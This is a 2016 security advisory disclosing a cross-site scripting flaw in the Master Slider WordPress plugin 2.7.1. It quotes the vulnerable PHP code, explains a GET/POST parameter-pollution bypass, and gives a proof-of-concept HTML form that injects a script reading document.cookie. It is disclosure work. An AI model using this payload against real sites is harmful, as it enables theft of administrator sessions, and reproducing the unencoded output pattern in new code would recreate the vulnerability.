WordPress Master Slider 2.7.1 Cross Site Scripting
Posted on 13 July 2016
------------------------------------------------------------------------ Cross-Site Scripting vulnerability in Master Slider WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Master Slider WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0013 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Master Slider - Responsive Touch Slider WordPress Plugin version 2.7.1. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Master Slider version 2.8.0. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_master_slider_wordpress_plugin.html The issue exists in the file class-msp-list-table.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below. return sprintf('<a href="?page=%s&action=%s&slider_id=%s">%s</a>',$_REQUEST['page'],'edit', $item['ID'], $item['title'] ); [...] $buttons .= sprintf( '<a class="action-duplicate msp-ac-btn msp-btn-gray msp-iconic" href="?page=%s&action=%s&slider_id=%s%s"><span></span>%s</a>',$_REQUEST['page'],'duplicate' ,$item['ID'], $paged_arg, __('duplicate') ); [...] $buttons .= sprintf( '<a class="action-delete msp-ac-btn msp-btn-red msp-iconic" href="?page=%s&action=%s&slider_id=%s%s" onClick="return confirm('%s');" ><span></span>%s</a>', $_REQUEST['page'],'delete' ,$item['ID'], [...] $buttons .= sprintf( '<a class="action-preview msp-ac-btn msp-btn-blue msp-iconic" href="?page=%s&action=%s&slider_id=%s" onClick="lunchMastersliderPreviewBySliderID(%s);return false;" ><span></span>%s</a>',$_REQUEST['page'],'preview' ,$item['ID'], $item['ID'], __('preview') ); Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=master-slider" method="POST"> <input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
